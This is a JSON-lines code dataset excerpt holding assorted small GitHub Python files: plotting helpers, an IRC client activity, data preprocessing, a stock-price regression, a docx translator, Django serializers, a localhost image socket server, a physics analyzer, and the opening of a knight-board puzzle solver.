+{"seq_id":"18637448653","text":"import numpy as np\r\nimport random\r\n\r\ndef lighten_hex_color(color, delta):\r\n    def limit(x):\r\n        if x > 255: return 255\r\n        if x < 0: return 0\r\n        return x\r\n\r\n    if '#' in color: color = color[1:]\r\n\r\n    r = hex(limit(int(color[:2], 16) + delta))[2:]\r\n    g = hex(limit(int(color[2:4], 16) + delta))[2:]\r\n    b = hex(limit(int(color[4:6], 16) + delta))[2:]\r\n\r\n    new_color = '#{}{}{}'.format(r, g, b)\r\n    return new_color\r\n\r\ndef color_variants(plot_params, variant_params, variant_ls, transcript_ID):\r\n    for variant_set in variant_params:\r\n        for v in [u for u in variant_ls if u['variant_set'] == variant_set]:\r\n            if v[transcript_ID + '_severity'] != 'NONE': v['color'] = variant_params[variant_set]['variant_severity_colors'][v[transcript_ID + '_severity']]\r\n            else: v['color'] = variant_params[variant_set]['color']\r\n        \r\ndef color_boxes(plot_params, user_track_params, track_name, boxes):\r\n    IDs = np.unique([b['ID'] for b in boxes])\r\n    color_dict = {ID: random.choice(np.unique(plot_params['track_colors'])) for ID in IDs}\r\n\r\n    try:\r\n        for (ID, color) in user_track_params[track_name]['colors'].items():\r\n            color_dict[ID] = color\r\n    except: pass\r\n\r\n    for idx in range(len(boxes)):\r\n        boxes[idx]['color'] = color_dict[boxes[idx]['ID']]","repo_name":"quinlan-lab/transcriptionary","sub_path":"transcriptionary/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9390460606","text":"import turtle\r\n\r\ndef drawSquare(length):\r\n    t.begin_fill()\r\n    t.pensize(3)\r\n    t.color('red')\r\n    #t.fillcolor('green')\r\n    for i in range(4):\r\n        t.forward(length)\r\n        t.left(90)\r\n    t.end_fill()\r\n\r\nt = turtle.Turtle()\r\n\r\nt.up()\r\nt.goto(-200,0)\r\nt.down()\r\ndrawSquare(100)\r\n\r\nt.up()\r\nt.goto(0,0)\r\nt.down()\r\ndrawSquare(100)\r\n\r\nt.up()\r\nt.goto(200,0)\r\nt.down()\r\ndrawSquare(100)\r\n","repo_name":"rrabit42/Python-Programming","sub_path":"문제해결과SW프로그래밍/Lab9-Python Function 2(random, callback)/lab9-ex1.py","file_name":"lab9-ex1.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19907413801","text":"import logging\nfrom gettext import gettext as _\n\nfrom gi.repository import Gtk\nfrom gi.repository import Gdk\nimport json\nimport ConfigParser\nimport os\n\nfrom sugar3.activity import activity\nfrom sugar3.activity.activity import get_bundle_path\nfrom sugar3.graphics.toolbarbox import ToolbarBox\nfrom sugar3.activity.widgets import StopButton, TitleEntry, ActivityButton\nimport purk\nimport purk.conf\nimport purk.windows\n\n\nDEFAULT_CONFIG_PATH = os.path.join(get_bundle_path(), 'irc_config.cfg')\nETC_CONFIG_PATH = os.path.join('/', 'etc', 'irc_config.cfg')\n\n\nclass IRCActivity(activity.Activity):\n\n    def __init__(self, handle):\n        activity.Activity.__init__(self, handle)\n\n        logging.debug('Starting the IRC Activity')\n        self.set_title(_('IRC Activity'))\n\n        self.add_events(Gdk.EventMask.VISIBILITY_NOTIFY_MASK)\n        self.connect('visibility-notify-event',\n                     self.__visibility_notify_event_cb)\n\n        self.is_visible = False\n\n        self.client = purk.Client()\n        if handle.object_id is None:\n            self.default_config()\n        self.client.show()\n        widget = self.client.get_widget()\n\n        # CANVAS\n        self.set_canvas(widget)\n\n        toolbar_box = ToolbarBox()\n        self.activity_button = ActivityButton(self)\n        toolbar_box.toolbar.insert(self.activity_button, 0)\n        self.activity_button.show()\n\n        title_entry = TitleEntry(self)\n        toolbar_box.toolbar.insert(title_entry, -1)\n        title_entry.show()\n\n        separator = Gtk.SeparatorToolItem()\n        separator.props.draw = False\n        separator.set_expand(True)\n        toolbar_box.toolbar.insert(separator, -1)\n        separator.show()\n\n        stop_button = StopButton(self)\n        toolbar_box.toolbar.insert(stop_button, -1)\n        stop_button.show()\n\n        self.set_toolbar_box(toolbar_box)\n        toolbar_box.show()\n\n    def __visibility_notify_event_cb(self, window, event):\n        self.is_visible = event.state != Gdk.VisibilityState.FULLY_OBSCURED\n\n    def default_config(self):\n        if os.path.exists(ETC_CONFIG_PATH):\n            self.read_defaults_from_config(ETC_CONFIG_PATH)\n        elif os.path.exists(DEFAULT_CONFIG_PATH):\n            self.read_defaults_from_config(DEFAULT_CONFIG_PATH)\n        else:\n            self.client.join_server('us.freenode.net')\n            self.client.add_channel('#sugar')\n            self.client.add_channel_other('#sugar-es')\n\n    def read_defaults_from_config(self, config_file):\n        logging.debug('Reading configuration from file %s' % config_file)\n        fp = open(config_file)\n        config = ConfigParser.ConfigParser()\n        config.readfp(fp)\n        fp.close()\n\n        if config.has_section('Config'):\n            if config.has_option('Config', 'Nick'):\n                nick = config.get('Config', 'Nick').strip()\n                self.client.run_command('NICK %s' % (nick))\n            if config.has_option('Config', 'Server'):\n                server = config.get('Config', 'Server').strip()\n                self.client.join_server(server)\n            if config.has_option('Config', 'Channels'):\n                channels = config.get('Config', 'Channels').split(',')\n                for channel in channels:\n                    self.client.add_channel(channel.strip())\n                    self.client.add_channel_other(channel.strip())\n\n    def read_file(self, file_path):\n        if self.metadata['mime_type'] != 'text/plain':\n            return\n\n        fd = open(file_path, 'r')\n        text = fd.read()\n        data = json.loads(text)\n        fd.close()\n\n        self.client.run_command('NICK %s' % (data['nick']))\n\n        self.client.join_server(data['server'])\n        for chan in data['channels']:\n            self.client.add_channel(chan)\n            self.client.add_channel_other(chan)\n        self.client.core.window.network.requested_joins = set()\n        for winid in data['scrollback'].keys():\n            if winid in data['channels']:\n                win = purk.windows.new(purk.windows.ChannelWindow,\n                                       self.client.core.window.network,\n                                       winid, self.client.core)\n            else:\n                win = purk.windows.new(purk.windows.QueryWindow,\n                                       self.client.core.window.network,\n                                       winid, self.client.core)\n            win.output.get_buffer().set_text(data['scrollback'][winid])\n            if winid == data['current-window']:\n                self.client.core.window.network.requested_joins = set([winid])\n\n    def write_file(self, file_path):\n        if not self.metadata['mime_type']:\n            self.metadata['mime_type'] = 'text/plain'\n\n        data = {}\n        data['nick'] = self.client.core.window.network.me\n        data['server'] = self.client.core.window.network.server\n        data['username'] = self.client.core.window.network.server\n        data['fullname'] = self.client.core.window.network.fullname\n        data['password'] = self.client.core.window.network.password\n        data['current-window'] = self.client.core.manager.get_active().id\n        data['channels'] = []\n        data['scrollback'] = {}\n\n        for i in range(self.client.core.manager.tabs.get_n_pages()):\n            win = self.client.core.manager.tabs.get_nth_page(i)\n            if win.id == \"status\":\n                continue\n            if win.is_channel():\n                data['channels'].append(win.id)\n            buf = win.output.get_buffer()\n            data['scrollback'][\n                win.id] = buf.get_text(\n                buf.get_start_iter(),\n                buf.get_end_iter(),\n                True)\n\n        fd = open(file_path, 'w')\n        text = json.dumps(data)\n        fd.write(text)\n        fd.close()\n","repo_name":"i5o/irc-activity","sub_path":"ircactivity.py","file_name":"ircactivity.py","file_ext":"py","file_size_in_byte":5802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5749790467","text":"import math\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport re\nimport seaborn as sns\n\n\ndef visualize_floor(df):\n    '''\n    Visualize the attr of direction\n    '''\n    sns.set(palette=\"muted\", color_codes=True)  \n    plt.rcParams['font.sans-serif'] = ['Microsoft YaHei']\n    plt.rcParams['axes.unicode_minus'] = False  \n    sns.set(font='Microsoft YaHei', font_scale=0.8)  \n    ax = sns.countplot(x='floor', data=df)\n    ax.set_xticklabels(ax.get_xticklabels(), fontsize=5, rotation=90)  \n\n    plt.show()\n\n\ndef word_to_num(str):\n    simple_punctuation = '[\\\" /,),(]'\n\n    str = re.sub('[\\u4e00-\\u9fa5]', '', str)\n    str = re.sub(simple_punctuation, '', str)\n\n    return int(str)\n\n\ndef pre_floor(df):\n    '''\n    If total_floor == NAN, then set total_floor = 32\n    If floor <= 10 or 1/3*(total_floor), then floor = '低'\n    If floor <= 20 or 2/3*(total_floor), then floor = '中'\n    If floor > 20 or 2/3*(total_floor), then floor = '高'\n    '''\n    floor = df['floor'].tolist()\n    total_floor = df['total_floor'].tolist()\n    res_data = []\n    \n    for index, i in enumerate(floor):\n        if i in ['低', '中', '高']:\n            res_data.append(i)\n        else:\n            i = word_to_num(i)\n            if math.isnan(total_floor[index]):     \n                if i <= 10:\n                    res_data.append('低')\n                elif i <= 20:\n                    res_data.append('中')\n                else:\n                    res_data.append('高')\n            else:\n                if i <= total_floor[index] / 3:\n                    res_data.append('低')\n                elif i <= 2 * (total_floor[index] / 3):\n                    res_data.append('中')\n                else:\n                    res_data.append('高')\n\n    df_res = pd.DataFrame(res_data)\n    df['floor'] = df_res\n\n    # if total_floor is NAN, then set total_floor = 32\n    total_floor = [32 if math.isnan(x) else x for x in total_floor]\n    df_res = pd.DataFrame(total_floor)\n    df['total_floor'] = df_res\n\n    return df\n\n\n# if __name__ == '__main__':\n#     fname = r'./data/backup.csv'\n#     df = pd.read_csv(fname) \n#     df = visualize_floor(df, 'floor')\n#     # df = pre_floor(df)\n#     # print(df['floor'].value_counts())\n#     # print(df['total_floor'].value_counts())\n","repo_name":"wuyuki/Data-Mining-on-GZ-Lianjia","sub_path":"pretreatment/floor.py","file_name":"floor.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41332785066","text":"#Program to predict the price of the google stocks for the next 15 days using the Quandl dataset.\r\n#Made by: Ritvik Ajay Kolhe\r\n\r\nimport quandl\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression\r\n\r\nprint(\"\\nProcessing... Please wait\\n\")\r\n\r\ndf = quandl.get(\"WIKI/GOOGL\")           #Google stock dataset from Quandl\r\n\r\ndf = df.iloc[-500: ,-5: ]               #Slicing the required data\r\n\r\ndf['Prediction'] = df[['Adj. Close']].shift(int(-15))       #A new column with data shifted 15 units up for prediction\r\n\r\nX = df.drop(columns=['Prediction'])             #Seperating the data on which price is going to be predicted\r\n\r\n#Dividing the dataset into test and train\r\ny_train=np.array(df['Prediction'][:-15])\r\nX_train=np.array(X[:-15])\r\nX_test=np.array(X[-15:])\r\n\r\n#Training the model\r\nmodel = LinearRegression()\r\nmodel.fit(X_train,y_train)\r\n\r\nforecast_prediction = model.predict(X_test)           #Prediction made\r\n\r\n#To create a dataframe of predicted price\r\nforecast_prediction=[df['Adj. Close'][-1]]+forecast_prediction.tolist()\r\nPred_data={\"Forecast\":forecast_prediction}\r\ndates = pd.date_range('20180327', periods=16)\r\nPred_df = pd.DataFrame(data=Pred_data, index=dates)\r\n\r\nprint(\"Done.\\n\")\r\nprint(Pred_df[-15:])          #Displaying predicted price\r\n\r\n#For ploting the graph of Date vs Price\r\ndf['Adj. Close'].plot()\r\nPred_df['Forecast'].plot()\r\nplt.legend(loc=4)\r\nplt.title(\"Google Stock Price\")\r\nplt.xlabel('Date')\r\nplt.ylabel('Price')\r\n\r\nplt.show()          #To display graph to the user\r\n","repo_name":"ritvikkolhe/Stock-Price-Predictor","sub_path":"StockPrice.py","file_name":"StockPrice.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43678914296","text":"#!/usr/bin/python\n\nimport requests\nimport json\nimport docx # You also need to download python-docx module\nfrom google.cloud import translate\nimport os, sys\n\n# Variables\n# Target language (List of supported languages: https://cloud.google.com/translate/docs/languages)\ntarget_language = 'zh-TW'\ninput_dir = os.path.abspath('input/')\noutput_dir = os.path.abspath('output/')\ninput_file = [x for x in os.listdir(input_dir) if x.endswith('.docx')][0]\n\n# Class\nclass Google:\n    def __init__(self, translate):\n        self.translate_client = translate.Client()\n\n    def call_translation_api(self, text, target_language):\n        tr = self.translate_client.translate(text, target_language)\n        return tr['translatedText']\n\n    def translate(self, *args):\n        # Destructure array\n        text, target_language = args\n\n        # Remove white space of text\n        text = text.strip()\n        if not text:\n            print('Input: \"%s\". \\nYour input is an empty string. Next...' % text)\n            return text\n\n        result = self.call_translation_api(text, target_language)\n\n        print('\"%s\" => \"%s\"' % (text, result))\n        return result\n\n# Initialise class\ngg = Google(translate)\n\n# Input docx\nprint('%s/%s' % (input_dir, input_file))\ndoc = docx.Document('%s/%s' % (input_dir, input_file))\n\n# Header\nfor section in doc.sections:\n    paragraphs = section.header.paragraphs\n    for paragraph in paragraphs:\n        if paragraph.text:\n            translation = gg.translate(paragraph.text, target_language)\n            paragraph.text = translation\n\ndoc.save('%s/translated_%s' % (output_dir, input_file))\n\n# Paragraphs\nfor paragraph in doc.paragraphs:\n    if paragraph.text:\n        translation = gg.translate(paragraph.text, target_language)\n        paragraph.text = translation\n\ndoc.save('%s/translated_%s' % (output_dir, input_file))\n\n# Tables\nfor table in doc.tables:\n    for row in table.rows:\n        for cell in row.cells:\n            if cell.text:\n                translation = gg.translate(cell.text, target_language)\n                cell.text = translation\n\ndoc.save('%s/translated_%s' % (output_dir, input_file))\n\n# Footer\nfor section in doc.sections:\n    paragraphs = section.footer.paragraphs\n    for paragraph in paragraphs:\n        if paragraph.text:\n            translation = gg.translate(paragraph.text, target_language)\n            paragraph.text = translation\n\ndoc.save('%s/translated_%s' % (output_dir, input_file))","repo_name":"byeong0430/google-translation","sub_path":"translation.py","file_name":"translation.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14220054399","text":"filename = input(\"Enter filename : \")\n\nfile = open(filename, \"r\")\n\nstats = {\n    \"lines\": 0,\n    \"letters\": 0,\n    \"digits\": 0,\n    \"words\": 0\n}\n\nfor line in file.readlines():\n    stats[\"lines\"] += 1\n    stats[\"words\"] += len(line.split(\" \"))\n\n    for char in line:\n        if char.isalpha():\n            stats[\"letters\"] += 1\n        elif char.isdigit():\n            stats[\"digits\"] += 1\n\nprint(\"lines {0}\".format(stats[\"lines\"]))\nprint(\"letters {0}\".format(stats[\"letters\"]))\nprint(\"digits {0}\".format(stats[\"digits\"]))\nprint(\"words {0}\".format(stats[\"words\"]))\n\nfile.close()\n","repo_name":"AnilSonix/CSPySolutions","sub_path":"sol10.py","file_name":"sol10.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"7882503099","text":"from rest_framework import serializers\n\nfrom api.models import Book, Press\n\n\n# 出版社序列化器\nclass PressModelSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Press\n        fields = ('press_name', 'pic', 'address')\n\n\nclass BookModelSerializer(serializers.ModelSerializer):\n\n    # 指定另一个序列化器\n    # publish = PressModelSerializer()\n    class Meta:\n        model = Book\n        fields = ('id','book_name','price','pic1','press_name')\n        # fields = ('id','book_name','price','pic1','press_name','author_list','publish')\n        #  显示的是数据库所有的字段\n        # fields = \"__all__\"\n        # exclude = ('is_delete','status','create_time')\n        # depth = 1\n\n\n# 反序列化器\nclass BookModelDeSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = Book\n        fields = ('book_name','price','publish','authors')\n\n        # 添加drf提供的默认校检规则\n        extra_kwargs = {\n            \"book_name\": {\n                \"required\": True,  # 必填字段\n                \"min_length\": 2,    # 最小长度\n            #     错误信息\n                \"error_messages\":{\n                    \"required\":\"图书名必须提供\",\n                    \"min_length\":'图书名长度不能低于2个字符',\n                }\n            },\n\n        }\n\n    # 全局钩子\n    def validate(self, attrs):\n        print(attrs)\n        return attrs\n\n#     局部钩子\n    def validate_book_name(self, value):\n        print(value,222)\n        return value\n\n\n\n# 序列器与反序列器进行整合\n\nclass BookModelSerializerV2(serializers.ModelSerializer):\n\n    class Meta:\n        model = Book\n#         fields应该写序列化与反序列化所需字段的并集\n#         反序列('book_name','price','publish','authors')\n#         序列('id','book_name','price','pic1','press_name')\n\n        fields = ('id','book_name','price','publish','authors','pic1','press_name')\n\n        # 添加drf提供的默认校检规则\n        extra_kwargs = {\n            \"book_name\": {\n                \"required\": True,  # 必填字段\n                \"min_length\": 2,  # 最小长度\n                #     错误信息\n                \"error_messages\": {\n                    \"required\": \"图书名必须提供\",\n                    \"min_length\": '图书名长度不能低于2个字符',\n                }\n            },\n            #id只读，publish只写，pic1只读，press_name只读，authors只写\n            \"id\":{\n                \"read_only\":True\n            },\n            \"publish\": {\n                \"write_only\": True\n            },\n            \"pic1\": {\n                \"read_only\": True\n            },\n            \"press_name\": {\n                \"read_only\": True\n            },\n            \"authors\": {\n                \"write_only\": True\n            },\n\n        }\n#         钩子函数同样可以用\n    def validate(self, attrs):\n        print(1234)\n        return attrs\n\n    def validated_book_name(self,value):\n        print(value)\n        return value\n","repo_name":"qiaojian-python/git_work","sub_path":"day9/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8945997357","text":"#!/usr/bin/env python3\n# vi: set shiftwidth=4 tabstop=8 expandtab:\nimport numpy as np\nimport cv2 as cv\nimport socket\n\nHOST = \"127.0.0.1\"  # Standard loopback interface address (localhost)\nPORT = 10000        # Port to listen on (non-privileged ports are > 1023)\n\nb_imagen = bytearray()\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.bind((HOST, PORT))\n    s.listen()\n    while True:\n        conn, addr = s.accept()\n        # Limpiamos el arreglo\n        b_imagen.clear()\n        with conn:\n            # recivimos los primeros bytes\n            data = conn.recv(4096)\n            img_size = int.from_bytes(data[:4], byteorder=\"little\")\n            b_imagen += data[4:]\n            print(f\"Connected by {addr}, size:\", img_size)\n            while len(b_imagen) < img_size:\n                data = conn.recv(4096)\n                b_imagen += data\n                print(len(b_imagen))\n                if not data:\n                    print(\"break\")\n                    break\n\n            print(\"ok\", len(b_imagen))\n\n            # Los bytes los hacemos arreglo de numpy\n            img_enc = np.ndarray(shape=(len(b_imagen),), dtype='uint8',\n                                buffer=b_imagen, )\n\n            # Convertimos la imagen JPG a imagen RAW\n            color = cv.imdecode(img_enc, cv.IMREAD_COLOR)\n\n            gris = cv.cvtColor(color, cv.COLOR_BGR2GRAY)\n\n            h, w = gris.shape \n\n            conn.sendall(h.to_bytes(2,byteorder=\"little\"))\n            conn.sendall(w.to_bytes(2,byteorder=\"little\"))\n            conn.sendall(gris.tobytes())\n","repo_name":"miguelinux/materia-celn","sub_path":"scripts/camara-compressed-server.py","file_name":"camara-compressed-server.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23220789103","text":"import plotme\nfrom callmap import callmap\nfrom naviestbl import naviestable\n\nimport re\n\n\nclsanalyse = naviestable()\nclsanalyse.setpackageCount(3)\nclsanalyse.setNumberOfPeriods(2)\nclsanalyse.drawhistograms()\nclsanalyse.set_judge_limits(10)\nclsanalyse.takejudgement()\nclsanalyse.getprobability(2, 1)\n\n\n\n\n\ncalldue = plotme.callduration()\ncalldate = plotme.calldate()\n\ncallduesec = []\ncalltimeinsec = []\n\ntimer = []\n\nfor call in calldue:\n    h, m, s = call.split(\":\")\n    callsec = h*3600 + m*60 + s\n    callduesec.append(int(callsec))\n\n\"\"\"\nfor time in calldate:\n    calltime = time[11:19]\n    print calltime\n    h = calltime[0:2]\n    print h\n    m = calltime[3:5]\n    print m\n    s = calltime[6:8]\n    print s\n    timesec = int(h)*3600+int(m)*60+int(s)\n    print timesec\n    timer.append(timesec)\n\n\"\"\"\n\nmap = callmap()\nmap.plot_hist(callduesec)\n\nmapbar = callmap()\nmapbar.plot_bar(callduesec)\n\n\n\n\n\n\n\n","repo_name":"thilinaabeysinghe/bigdata","sub_path":"maincontrol.py","file_name":"maincontrol.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38874273016","text":"from django.conf.urls import url, include\nfrom django.urls import path\nfrom rest_framework import routers\nfrom api import views\nfrom .views import get_possible_work_events, get_calendar\nfrom rest_framework.schemas import get_schema_view\nfrom rest_framework_simplejwt.views import (\n    TokenObtainPairView,\n    TokenRefreshView,\n)\nfrom rest_framework import serializers, status\nimport rest_framework.views\nfrom rest_framework.response import Response\n\nrouter = routers.DefaultRouter()\nrouter.register(r'users', views.UserViewSet)\nrouter.register(r'groups', views.GroupViewSet)\nrouter.register(r'courses', views.CourseViewSet, base_name='courses')\nrouter.register(r'works', views.WorkViewSet, base_name='works')\nrouter.register(r'interval-sessions', views.IntervalSessionViewSet, base_name='interval_sessions')\n\nclass MessageSerializer(serializers.Serializer):\n    message = serializers.CharField()\nclass EchoView(rest_framework.views.APIView):\n    def post(self, request, *args, **kwargs):\n        serializer = MessageSerializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        return Response(\n            serializer.data, status=status.HTTP_201_CREATED)\n\nurlpatterns = [\n    url(r'^', include(router.urls)),\n    url(r'^schema/$', get_schema_view()),\n    url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n    url(r'^auth/token/$', TokenObtainPairView.as_view()),\n    url(r'^auth/token/refresh/$', TokenRefreshView.as_view()),\n    url(r'^echo/$', EchoView.as_view()),\n\n    path('course/calendar-events/<int:id>/', get_possible_work_events),\n    path('generate-calendar/', get_calendar),\n]","repo_name":"antisage/MOOC-TIme","sub_path":"backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40687790320","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time ： 2020/6/6 12:15 下午\n@Auth ： Codewyf\n@File ：2.3 保存提取.py\n@IDE ：PyCharm\n@Motto：Go Ahead Instead of Heasitating\n\n\"\"\"\nimport torch\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\n\n# torch.manual_seed(1) #reproducible\n\n#fake data\nx = torch.unsqueeze(torch.linspace(-1, 1, 100), dim=1) # x data (tensor), shape=(100, 1)\ny = x.pow(2) + 0.2*torch.rand(x.size())  # noisy  y data (tensor), shape=(100,1 )\n\ndef save():\n    #建立网络\n    net1 = torch.nn.Sequential(\n        torch.nn.Linear(1,10),\n        torch.nn.ReLU(),\n        torch.nn.Linear(10,1)\n    )\n    optimizer = torch.optim.SGD(net1.parameters(),lr=0.2)\n    loss_func = torch.nn.MSELoss()\n\n    #训练\n    for t in range(100):\n        prediction = net1(x)\n        loss = loss_func(prediction, y)\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n\n    #plot result\n    plt.figure(1, figsize=(10,3))\n    plt.subplot(131)\n    plt.title('Net1')\n    plt.scatter(x.data.numpy(), y.data.numpy())\n    plt.plot(x.data.numpy(), prediction.data.numpy(), 'r-', lw = 5)\n\n    torch.save(net1, 'net1.pkl')                          # save entire net\n    torch.save(net1.state_dict(),'net1_parameters.pkl')  # save parameters (速度快，占用内存小)\n\ndef restore_net():\n    net2 = torch.load('net1.pkl')\n    prediction = net2(x)\n    #plot result\n    plt.subplot(132)\n    plt.title('Net2')\n    plt.scatter(x.data.numpy(), y.data.numpy())\n    plt.plot(x.data.numpy(), prediction.data.numpy(), 'r-', lw = 5)\n\n\ndef resotre_params():\n    net3 = torch.nn.Sequential(\n        torch.nn.Linear(1,10),\n        torch.nn.ReLU(),\n        torch.nn.Linear(10,1)\n    )\n    net3.load_state_dict(torch.load('net1_parameters.pkl'))\n    prediction = net3(x)\n    #plot result\n    plt.subplot(133)\n    plt.title('Net3')\n    plt.scatter(x.data.numpy(), y.data.numpy())\n    plt.plot(x.data.numpy(), prediction.data.numpy(), 'r-', lw = 5)\n    plt.show()\n\nsave()\n\nrestore_net()\n\nresotre_params()","repo_name":"Codewyf-top/python-learning","sub_path":"2.3 保存提取.py","file_name":"2.3 保存提取.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"7777165381","text":"from heppy.framework.analyzer import Analyzer\nfrom heppy.particles.genbrowser import GenBrowser\nfrom heppy.particles.pdgcodes import hasBottom\n\nclass ChargedHadronsFromB(Analyzer):\n    \n    def process(self, event):\n        genptcs = event.gen_particles\n        bquarks = []\n        charged_hadrons = []\n        event.hadrons_from_b = []\n        for ptc in genptcs:\n            if abs(ptc.pdgid())==5:\n                bquarks.append(ptc)\n            elif ptc.q() and ptc.status()==1:\n                charged_hadrons.append(ptc)\n        if len(bquarks) == 0 or len(charged_hadrons) == 0:\n            return\n        event.genbrowser = GenBrowser(event.gen_particles,\n                                      event.gen_vertices)\n        event.hadrons_from_b = []\n        event.hadrons_not_from_b = []\n        for hadron in charged_hadrons:\n            ancestors = event.genbrowser.ancestors(hadron)\n            is_from_b = False \n            for ancestor in ancestors:\n                if hasBottom(ancestor.pdgid() ):\n                    is_from_b = True\n            if is_from_b:\n                event.hadrons_from_b.append(hadron)\n            else:\n                event.hadrons_not_from_b.append(hadron)\n            \n        \n","repo_name":"sisselbay/heppy_VM","sub_path":"analyzers/ChargedHadronsFromB.py","file_name":"ChargedHadronsFromB.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14615788300","text":"\"\"\"\nThe \"knight\" file solves the Knight Board puzzle given to Matt Beck during a job interview.\n\nNotes\n-----\n#.  Written by David C. Stauffer and Matt Beck in September 2015.\n\n[Knight Board]\nThe knight board can be represented in x,y coordinates.  The upper left position\nis (0,0) and the bottom right is (7,7).  Assume there is a single knight chess\npiece on the board that can move according to chess rules.  Sample S[tart] and\nE[nd] points are shown below:\n    . . . . . . . .\n    . . . . . . . .\n    . S . . . . . .\n    . . . . . . . .\n    . . . . . E . .\n    . . . . . . . .\n    . . . . . . . .\n    . . . . . . . .\nLevel 1: Write a function that accepts a sequence of moves and reports\n    whether the sequence contains only valid knight moves.  It should also\n    optionally print the state of the knight board to the terminal as shown\n    above after each move.  The current position should be marked with a 'K'.\nLevel 2: Compute a valid sequence of moves from a given start point to a given\n    end point.\nLevel 3: Compute a valid sequence of moves from a given start point to a\n    given end point in the fewest number of moves.\nLevel 4: Now repeat the Level 3 task for this 32x32 board.  Also, modify\n    your validator from Level 1 to check your solutions.  This board has the\n    following additional rules:\n        1) W[ater] squares count as two moves when a piece lands there\n        2) R[ock] squares cannot be used\n        3) B[arrier] squares cannot be used AND cannot lie in the path\n        4) T[eleport] squares instantly move you from one T to the other in\n            the same move\n        5) L[ava] squares count as five moves when a piece lands there\n    . . . . . . . . B . . . L L L . . . . . . . . . . . . . . . . .\n    . . . . . . . . B . . . L L L . . . . . . . . . . . . . . . . .\n    . . . . . . . . B . . . L L L . . . L L L . . . . . . . . . . .\n    . . . . . . . . B . . . L L L . . L L L . . . R R . . . . . . .\n    . . . . . . . . B . . . L L L L L L L L . . . R R . . . . . . .\n    . . . . . . . . B . . . L L L L L L . . . . . . . . . . . . . .\n    . . . . . . . . B . . . . . . . . . . . . R R . . . . . . . . .\n    . . . . . . . . B B . . . . . . . . . . . R R . . . . . . . . .\n    . . . . . . . . W B B . . . . . . . . . . . . . . . . . . . . .\n    . . . R R . . . W W B B B B B B B B B B . . . . . . . . . . . .\n    . . . R R . . . W W . . . . . . . . . B . . . . . . . . . . . .\n    . . . . . . . . W W . . . . . . . . . B . . . . . . T . . . . .\n    . . . W W W W W W W . . . . . . . . . B . . . . . . . . . . . .\n    . . . W W W W W W W . . . . . . . . . B . . R R . . . . . . . .\n    . . . W W . . . . . . . . . . B B B B B . . R R . W W W W W W W\n    . . . W W . . . . . . . . . . B . . . . . . . . . W . . . . . .\n    W W W W . . . . . . . . . . . B . . . W W W W W W W . . . . . .\n    . . . W W W W W W W . . . . . B . . . . . . . . . . . . B B B B\n    . . . W W W W W W W . . . . . B B B . . . . . . . . . . B . . .\n    . . . W W W W W W W . . . . . . . B W W W W W W B B B B B . . .\n    . . . W W W W W W W . . . . . . . B W W W W W W B . . . . . . .\n    . . . . . . . . . . . B B B . . . . . . . . . . B B . . . . . .\n    . . . . . R R . . . . B . . . . . . . . . . . . . B . . . . . .\n    . . . . . R R . . . . B . . . . . . . . . . . . . B . T . . . .\n    . . . . . . . . . . . B . . . . . R R . . . . . . B . . . . . .\n    . . . . . . . . . . . B . . . . . R R . . . . . . . . . . . . .\n    . . . . . . . . . . . B . . . . . . . . . . R R . . . . . . . .\n    . . . . . . . . . . . B . . . . . . . . . . R R . . . . . . . .\n    . . . . . . . . . . . B . . . . . . . . . . . . . . . . . . . .  # The last four rows originally missing\n    . . . . . . . . . . . B . . . R R . . . . . . . . . . . . . . .\n    . . . . . . . . . . . B . . . R R . . . . . . . . . . . . . . .\n    . . . . . . . . . . . B . . . . . . . . . . . . . . . . . . . .\nLevel 5 [HARD]: Compute the longest sequence of moves to complete Level 3 without\n    visiting the same square twice.  Use the 32x32 board.\n\"\"\"\n\n#%% Imports\nimport doctest\nimport logging\nimport time\nimport unittest\nfrom enum import IntEnum, unique\n\nimport numpy as np\n\n#%% Pyrex imports\nuse_cython = False # TODO: try to use Cython eventually?\nif use_cython:\n    import pyximport;\n    pyximport.install()\n    from dstauffman2.games.knight2 import check_board_boundaries as _check_board_boundaries2\n\n#%% 